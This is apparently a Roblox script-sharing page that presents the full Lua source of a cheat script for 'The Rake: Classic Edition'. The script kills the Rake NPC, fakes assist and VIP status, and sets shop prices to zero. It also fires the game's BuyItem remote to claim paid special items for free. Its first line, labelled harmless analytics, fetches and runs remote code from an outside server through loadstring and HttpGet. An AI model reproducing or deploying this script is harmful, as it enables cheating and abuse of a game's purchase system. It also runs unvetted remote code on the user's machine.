Advertisements
350 views
The Rake: Classic Edition Kill Test
Quick Actions
Description
The Rake: Classic Edition Script built for survival and total control. Instantly eliminate the Rake, gain constant assistance during gameplay, and access shop features with free and special items. Skip the grind and enhance your experience with powerful automation and advantages. Designed for smooth performance and consistent gameplay, this script helps you survive every night and dominate the game with ease.
Advertisements
Features
7 Features
- Rake Tracking
- Always Assist
- Instant Kill Rake
- Shop Access
- Free Shop Items
- Special Shop Items
- Free VIP
510 lines•17760 bytes
--====== RoScripter Analytics ======--task.defer(pcall,function()loadstring(game:HttpGet("https://api.roscripter.com/stats/eRACwJEK?v=1"))()end);--=== Does not affect the script ===--local Players = game:GetService("Players")
local UserInputService = game:GetService("UserInputService")
local TweenService = game:GetService("TweenService")
local player = Players.LocalPlayer
-- main ui shit
local screenGui = Instance.new("ScreenGui")
screenGui.Name = "DefinitelyNotRakeExploitGUI"
screenGui.ResetOnSpawn = false
screenGui.IgnoreGuiInset = true
screenGui.Parent = gethui()
local mainFrame = Instance.new("Frame")
mainFrame.Size = UDim2.new(0, 340, 0, 455)
mainFrame.Position = UDim2.new(0.5, -170, 0.35, 0)
mainFrame.BackgroundColor3 = Color3.fromRGB(18, 18, 18)
mainFrame.BorderSizePixel = 0
mainFrame.Parent = screenGui
local corner = Instance.new("UICorner")
corner.CornerRadius = UDim.new(0, 12)
corner.Parent = mainFrame
local stroke = Instance.new("UIStroke")
stroke.Color = Color3.fromRGB(210, 30, 30)
stroke.Thickness = 3
stroke.Parent = mainFrame
local titleBar = Instance.new("Frame")
titleBar.Size = UDim2.new(1, 0, 0, 48)
titleBar.BackgroundColor3 = Color3.fromRGB(40, 8, 8)
titleBar.BorderSizePixel = 0
titleBar.Parent = mainFrame
local titleCorner = Instance.new("UICorner")
titleCorner.CornerRadius = UDim.new(0, 12)
titleCorner.Parent = titleBar
local titleLabel = Instance.new("TextLabel")
titleLabel.Size = UDim2.new(1, -55, 1, 0)
titleLabel.Position = UDim2.new(0, 16, 0, 0)
titleLabel.BackgroundTransparency = 1
titleLabel.Text = "TRCEKT | Vectuel"
titleLabel.TextColor3 = Color3.fromRGB(255, 50, 50)
titleLabel.TextSize = 19
titleLabel.Font = Enum.Font.GothamBold
titleLabel.TextXAlignment = Enum.TextXAlignment.Left
titleLabel.Parent = titleBar
local closeBtn = Instance.new("TextButton")
closeBtn.Size = UDim2.new(0, 40, 0, 40)
closeBtn.Position = UDim2.new(1, -46, 0, 4)
closeBtn.BackgroundTransparency = 1
closeBtn.Text = "X"
closeBtn.TextColor3 = Color3.fromRGB(255, 90, 90)
closeBtn.TextSize = 22
closeBtn.Font = Enum.Font.GothamBold
closeBtn.Parent = titleBar
-- rake shit
local rakeLabel = Instance.new("TextLabel")
rakeLabel.Size = UDim2.new(1, -30, 0, 20)
rakeLabel.Position = UDim2.new(0, 15, 0, 58)
rakeLabel.BackgroundTransparency = 1
rakeLabel.Text = "Rake"
rakeLabel.TextColor3 = Color3.fromRGB(190, 190, 190)
rakeLabel.TextSize = 15
rakeLabel.Font = Enum.Font.Gotham
rakeLabel.TextXAlignment = Enum.TextXAlignment.Left
rakeLabel.Parent = mainFrame
local assistButton = Instance.new("TextButton")
assistButton.Size = UDim2.new(0.92, 0, 0, 48)
assistButton.Position = UDim2.new(0.04, 0, 0, 83)
assistButton.BackgroundColor3 = Color3.fromRGB(50, 12, 12)
assistButton.Text = "Always Assist"
assistButton.TextColor3 = Color3.fromRGB(255, 75, 75)
assistButton.TextSize = 17.5
assistButton.Font = Enum.Font.GothamBold
assistButton.Parent = mainFrame
local assistCorner = Instance.new("UICorner")
assistCorner.CornerRadius = UDim.new(0, 8)
assistCorner.Parent = assistButton
local killRakeButton = Instance.new("TextButton")
killRakeButton.Size = UDim2.new(0.92, 0, 0, 48)
killRakeButton.Position = UDim2.new(0.04, 0, 0, 138)
killRakeButton.BackgroundColor3 = Color3.fromRGB(50, 12, 12)
killRakeButton.Text = "Instant Kill Rake"
killRakeButton.TextColor3 = Color3.fromRGB(255, 75, 75)
killRakeButton.TextSize = 17.5
killRakeButton.Font = Enum.Font.GothamBold
killRakeButton.Parent = mainFrame
local killCorner = Instance.new("UICorner")
killCorner.CornerRadius = UDim.new(0, 8)
killCorner.Parent = killRakeButton
-- shop shit
local shopLabel = Instance.new("TextLabel")
shopLabel.Size = UDim2.new(1, -30, 0, 20)
shopLabel.Position = UDim2.new(0, 15, 0, 198)
shopLabel.BackgroundTransparency = 1
shopLabel.Text = "Shop"
shopLabel.TextColor3 = Color3.fromRGB(190, 190, 190)
shopLabel.TextSize = 15
shopLabel.Font = Enum.Font.Gotham
shopLabel.TextXAlignment = Enum.TextXAlignment.Left
shopLabel.Parent = mainFrame
local freeShopButton = Instance.new("TextButton")
freeShopButton.Size = UDim2.new(0.92, 0, 0, 48)
freeShopButton.Position = UDim2.new(0.04, 0, 0, 220)
freeShopButton.BackgroundColor3 = Color3.fromRGB(50, 12, 12)
freeShopButton.Text = "Free Shop Items"
freeShopButton.TextColor3 = Color3.fromRGB(255, 190, 70)
freeShopButton.TextSize = 17.5
freeShopButton.Font = Enum.Font.GothamBold
freeShopButton.Parent = mainFrame
local freeCorner = Instance.new("UICorner")
freeCorner.CornerRadius = UDim.new(0, 8)
freeCorner.Parent = freeShopButton
local specialShopButton = Instance.new("TextButton")
specialShopButton.Size = UDim2.new(0.92, 0, 0, 48)
specialShopButton.Position = UDim2.new(0.04, 0, 0, 275)
specialShopButton.BackgroundColor3 = Color3.fromRGB(50, 12, 12)
specialShopButton.Text = "Special Shop Items"
specialShopButton.TextColor3 = Color3.fromRGB(255, 190, 70)
specialShopButton.TextSize = 17.5
specialShopButton.Font = Enum.Font.GothamBold
specialShopButton.Parent = mainFrame
local specialCorner = Instance.new("UICorner")
specialCorner.CornerRadius = UDim.new(0, 8)
specialCorner.Parent = specialShopButton
-- misc shit
local miscLabel = Instance.new("TextLabel")
miscLabel.Size = UDim2.new(1, -30, 0, 20)
miscLabel.Position = UDim2.new(0, 15, 0, 335)
miscLabel.BackgroundTransparency = 1
miscLabel.Text = "Misc"
miscLabel.TextColor3 = Color3.fromRGB(190, 190, 190)
miscLabel.TextSize = 15
miscLabel.Font = Enum.Font.Gotham
miscLabel.TextXAlignment = Enum.TextXAlignment.Left
miscLabel.Parent = mainFrame
local freeVIPButton = Instance.new("TextButton")
freeVIPButton.Size = UDim2.new(0.92, 0, 0, 48)
freeVIPButton.Position = UDim2.new(0.04, 0, 0, 358)
freeVIPButton.BackgroundColor3 = Color3.fromRGB(50, 12, 12)
freeVIPButton.Text = "Free VIP"
freeVIPButton.TextColor3 = Color3.fromRGB(100, 255, 100)
freeVIPButton.TextSize = 17.5
freeVIPButton.Font = Enum.Font.GothamBold
freeVIPButton.Parent = mainFrame
local vipCorner = Instance.new("UICorner")
vipCorner.CornerRadius = UDim.new(0, 8)
vipCorner.Parent = freeVIPButton
-- status shit so i know if stuff worked or not
local statusLabel = Instance.new("TextLabel")
statusLabel.Size = UDim2.new(1, -30, 0, 20)
statusLabel.Position = UDim2.new(0, 15, 1, -32)
statusLabel.BackgroundTransparency = 1
statusLabel.Text = "Status: Ready"
statusLabel.TextColor3 = Color3.fromRGB(80, 225, 80)
statusLabel.TextSize = 15
statusLabel.Font = Enum.Font.Gotham
statusLabel.TextXAlignment = Enum.TextXAlignment.Left
statusLabel.Parent = mainFrame
-- ==================== AUTO SCALE FOR MOBILE ONLY ====================
local isMobile = UserInputService.TouchEnabled
local function applyMobileScale(frame)
if not isMobile then return end
local uiScale = Instance.new("UIScale")
uiScale.Name = "MobileScale"
uiScale.Scale = 0.82 -- feels good on phones without taking full screen
uiScale.Parent = frame
-- optional: make it even smaller on very tiny screens
local camera = workspace.CurrentCamera
local function updateScale()
local height = camera.ViewportSize.Y
if height < 600 then
uiScale.Scale = 0.72
end
end
updateScale()
camera:GetPropertyChangedSignal("ViewportSize"):Connect(updateScale)
end
applyMobileScale(mainFrame)
-- drag sheat (mobile + pc)
local function makeDraggable(guiFrame, dragBar)
local dragging = false
local dragStart
local startPos
dragBar.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStart = input.Position
startPos = guiFrame.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragging = false
end
end)
end
end)
UserInputService.InputChanged:Connect(function(input)
if dragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then
local delta = input.Position - dragStart
guiFrame.Position = UDim2.new(
startPos.X.Scale,
startPos.X.Offset + delta.X,
startPos.Y.Scale,
startPos.Y.Offset + delta.Y
)
end
end)
end
makeDraggable(mainFrame, titleBar)
-- special shop gui shit
local specialGui = Instance.new("Frame")
specialGui.Name = "SpecialShopFrame"
specialGui.Size = UDim2.new(0, 320, 0, 480)
specialGui.Position = UDim2.new(0.5, 180, 0.35, 0)
specialGui.BackgroundColor3 = Color3.fromRGB(20, 20, 20)
specialGui.BorderSizePixel = 0
specialGui.Visible = false
specialGui.Parent = screenGui
local specialFrameCorner = Instance.new("UICorner")
specialFrameCorner.CornerRadius = UDim.new(0, 12)
specialFrameCorner.Parent = specialGui
local specialStroke = Instance.new("UIStroke")
specialStroke.Color = Color3.fromRGB(210, 30, 30)
specialStroke.Thickness = 3
specialStroke.Parent = specialGui
local specialTitleBar = Instance.new("Frame")
specialTitleBar.Size = UDim2.new(1, 0, 0, 40)
specialTitleBar.BackgroundColor3 = Color3.fromRGB(40, 8, 8)
specialTitleBar.BorderSizePixel = 0
specialTitleBar.Parent = specialGui
local specialTitleCorner = Instance.new("UICorner")
specialTitleCorner.CornerRadius = UDim.new(0, 12)
specialTitleCorner.Parent = specialTitleBar
local specialTitle = Instance.new("TextLabel")
specialTitle.Size = UDim2.new(1, 0, 1, 0)
specialTitle.BackgroundTransparency = 1
specialTitle.Text = "Special Shop Items"
specialTitle.TextColor3 = Color3.fromRGB(255, 100, 100)
specialTitle.TextSize = 18
specialTitle.Font = Enum.Font.GothamBold
specialTitle.TextXAlignment = Enum.TextXAlignment.Center
specialTitle.Parent = specialTitleBar
local specialScrolling = Instance.new("ScrollingFrame")
specialScrolling.Size = UDim2.new(1, -20, 1, -55)
specialScrolling.Position = UDim2.new(0, 10, 0, 45)
specialScrolling.BackgroundTransparency = 1
specialScrolling.ScrollBarThickness = 6
specialScrolling.ScrollBarImageColor3 = Color3.fromRGB(210, 30, 30)
specialScrolling.AutomaticCanvasSize = Enum.AutomaticSize.Y
specialScrolling.CanvasSize = UDim2.new(0, 0, 0, 0)
specialScrolling.Parent = specialGui
local listLayout = Instance.new("UIListLayout")
listLayout.Padding = UDim.new(0, 8)
listLayout.SortOrder = Enum.SortOrder.LayoutOrder
listLayout.Parent = specialScrolling
applyMobileScale(specialGui)
makeDraggable(specialGui, specialTitleBar)
closeBtn.MouseButton1Click:Connect(function()
_G.assist = false
_G.togkillrake = false
screenGui:Destroy()
end)
-- hover over button shit
local function addHover(btn, default, hover)
btn.MouseEnter:Connect(function()
TweenService:Create(btn, TweenInfo.new(0.2), {BackgroundColor3 = hover}):Play()
end)
btn.MouseLeave:Connect(function()
TweenService:Create(btn, TweenInfo.new(0.2), {BackgroundColor3 = default}):Play()
end)
end
-- special shop buttons
local function createSpecialButton(itemName, isAllButton)
local btn = Instance.new("TextButton")
btn.Size = UDim2.new(1, -10, 0, isAllButton and 55 or 45)
btn.BackgroundColor3 = isAllButton and Color3.fromRGB(80, 20, 20) or Color3.fromRGB(60, 15, 15)
btn.Text = itemName
btn.TextColor3 = isAllButton and Color3.fromRGB(255, 255, 100) or Color3.fromRGB(255, 200, 100)
btn.TextSize = isAllButton and 17 or 16
btn.Font = Enum.Font.GothamBold
btn.Parent = specialScrolling
local btnCorner = Instance.new("UICorner")
btnCorner.CornerRadius = UDim.new(0, 8)
btnCorner.Parent = btn
btn.MouseButton1Click:Connect(function()
if isAllButton then
local items = {
"Monster Rake Trap", "Corrupted Blade", "Bruh Bar", "Shadow Trap", "Final Vest",
"Claws", "Blood Stun Stick", "Blood Reaper", "Hell-Fire Vest", "CRUCIBLE",
"Nightmare Drink", "Blood Claws", "Frozen Axe", "Corrupted Coil", "FROZEN CRUCIBLE",
"EERIE", "Shadow Drink", "CRAZY BRUH BAR", "Reapers Scythe", "DARKSEED",
"Ghost Trap", "DOOM CRUCIBLE", "Calamity Blade", "Rocket Launcher",
"Carrot Rocket Launcher", "Classic Sword"
}
for _, item in ipairs(items) do
pcall(function()
local args = {item, 0, 0, 904903367514849}
player.PlayerGui.SpecialShopGui.BuyItem:FireServer(unpack(args))
end)
task.wait(0.1)
end
statusLabel.Text = "All Special Items Purchased!"
statusLabel.TextColor3 = Color3.fromRGB(100, 255, 100)
else
local args = {itemName, 0, 0, 904903367514849}
pcall(function()
player.PlayerGui.SpecialShopGui.BuyItem:FireServer(unpack(args))
end)
statusLabel.Text = itemName .. " Purchased!"
statusLabel.TextColor3 = Color3.fromRGB(100, 255, 100)
end
end)
addHover(btn, btn.BackgroundColor3, isAllButton and Color3.fromRGB(100, 25, 25) or Color3.fromRGB(80, 20, 20))
end
-- special shop item buttons
createSpecialButton("Monster Rake Trap")
createSpecialButton("Corrupted Blade")
createSpecialButton("Bruh Bar")
createSpecialButton("Shadow Trap")
createSpecialButton("Final Vest")
createSpecialButton("Claws")
createSpecialButton("Blood Stun Stick")
createSpecialButton("Blood Reaper")
createSpecialButton("Hell-Fire Vest")
createSpecialButton("CRUCIBLE")
createSpecialButton("Nightmare Drink")
createSpecialButton("Blood Claws")
createSpecialButton("Frozen Axe")
createSpecialButton("Corrupted Coil")
createSpecialButton("FROZEN CRUCIBLE")
createSpecialButton("EERIE")
createSpecialButton("Shadow Drink")
createSpecialButton("CRAZY BRUH BAR")
createSpecialButton("Reapers Scythe")
createSpecialButton("DARKSEED")
createSpecialButton("Ghost Trap")
createSpecialButton("DOOM CRUCIBLE")
createSpecialButton("Calamity Blade")
createSpecialButton("Rocket Launcher")
createSpecialButton("Carrot Rocket Launcher")
createSpecialButton("Classic Sword")
createSpecialButton("GET ALL SPECIAL ITEMS", true)
-- special shop shit
local specialOpen = false
specialShopButton.MouseButton1Click:Connect(function()
specialOpen = not specialOpen
specialGui.Visible = specialOpen
if specialOpen then
specialShopButton.Text = "Close Special Shop"
specialShopButton.BackgroundColor3 = Color3.fromRGB(75, 15, 15)
else
specialShopButton.Text = "Special Shop Items"
specialShopButton.BackgroundColor3 = Color3.fromRGB(50, 12, 12)
end
end)
addHover(specialShopButton, Color3.fromRGB(50, 12, 12), Color3.fromRGB(75, 18, 18))
-- button functions stuff shit
local assistEnabled = false
assistButton.MouseButton1Click:Connect(function()
assistEnabled = not assistEnabled
if assistEnabled then
_G.assist = true
assistButton.Text = "DISABLE ASSIST"
assistButton.BackgroundColor3 = Color3.fromRGB(75, 15, 15)
statusLabel.Text = "Assist: ENABLED"
statusLabel.TextColor3 = Color3.fromRGB(100, 255, 100)
spawn(function()
while _G.assist do
task.wait(1)
local plr = Players.LocalPlayer
if plr and plr:FindFirstChild("Assisted") then
plr.Assisted.Value = true
end
end
end)
else
_G.assist = false
assistButton.Text = "Always Assist"
assistButton.BackgroundColor3 = Color3.fromRGB(50, 12, 12)
statusLabel.Text = "Assist: OFF"
statusLabel.TextColor3 = Color3.fromRGB(255, 100, 100)
end
end)
addHover(assistButton, Color3.fromRGB(50, 12, 12), Color3.fromRGB(75, 18, 18))
local killEnabled = false
killRakeButton.MouseButton1Click:Connect(function()
killEnabled = not killEnabled
_G.togkillrake = killEnabled
if killEnabled then
killRakeButton.Text = "DISABLE KILL RAKE"
killRakeButton.BackgroundColor3 = Color3.fromRGB(75, 15, 15)
statusLabel.Text = "Instant Kill: ENABLED (stay near rake)"
statusLabel.TextColor3 = Color3.fromRGB(255, 160, 60)
spawn(function()
while _G.togkillrake do
task.wait(0.25)
pcall(function()
local rake = workspace:FindFirstChild("Rake") or workspace:FindFirstChild("TheRake")
if rake then
local hum = rake:FindFirstChildOfClass("Humanoid") or rake:FindFirstChild("NPC")
if hum and hum.Health > 0 then
hum.Health = 0
end
end
end)
end
end)
else
killRakeButton.Text = "Instant Kill Rake"
killRakeButton.BackgroundColor3 = Color3.fromRGB(50, 12, 12)
statusLabel.Text = "Instant Kill: OFF"
statusLabel.TextColor3 = Color3.fromRGB(255, 100, 100)
end
end)
addHover(killRakeButton, Color3.fromRGB(50, 12, 12), Color3.fromRGB(75, 18, 18))
freeShopButton.MouseButton1Click:Connect(function()
local count = 0
pcall(function()
local shopGui = player:WaitForChild("PlayerGui"):WaitForChild("ShopGui", 2)
if shopGui then
local sf = shopGui:WaitForChild("ShopFrame"):WaitForChild("ScrollingFrame")
for _, v in pairs(sf:GetDescendants()) do
if (v:IsA("IntValue") or v:IsA("NumberValue")) and (v.Name == "Kills" or v.Name == "Points") then
v.Value = -1
count += 1
end
end
end
end)
if count > 0 then
statusLabel.Text = "Shop Items set to Free (" .. count .. " values)"
statusLabel.TextColor3 = Color3.fromRGB(255, 200, 70)
else
statusLabel.Text = "ShopGui not found"
statusLabel.TextColor3 = Color3.fromRGB(255, 80, 80)
end
end)
addHover(freeShopButton, Color3.fromRGB(50, 12, 12), Color3.fromRGB(75, 18, 18))
freeVIPButton.MouseButton1Click:Connect(function()
pcall(function()
player.VIP.Value = true
end)
statusLabel.Text = "VIP given"
statusLabel.TextColor3 = Color3.fromRGB(100, 255, 100)
freeVIPButton.Text = "VIP GRANTED ✓"
task.wait(1.5)
freeVIPButton.Text = "Free VIP"
end)
addHover(freeVIPButton, Color3.fromRGB(50, 12, 12), Color3.fromRGB(75, 18, 18))
print("rake ui loaded yumm")Quick Actions
Similar Scripts
Dandy’s World Script: God Mode, Infinite Stamina & Teleport
1.1K7 months ago
Agiotagem Script: Anti Cheat
2667 months ago
Home Alone Script || Anomaly Detector, ESP All & Auto Buy (2026)
1022 months ago
Blox Fruits Script : Auto Farm, Auto Quests, Egg Farm & ESP
4.2K6 months ago
Sailor Piece Script : Auto Farm, Auto Dungeon & Infinity Tower
4.1K7 months ago
Advertisements
Comments
0Did it work for you? Sign in to share your experience.
No comments yet
Tried it? Let others know if it works.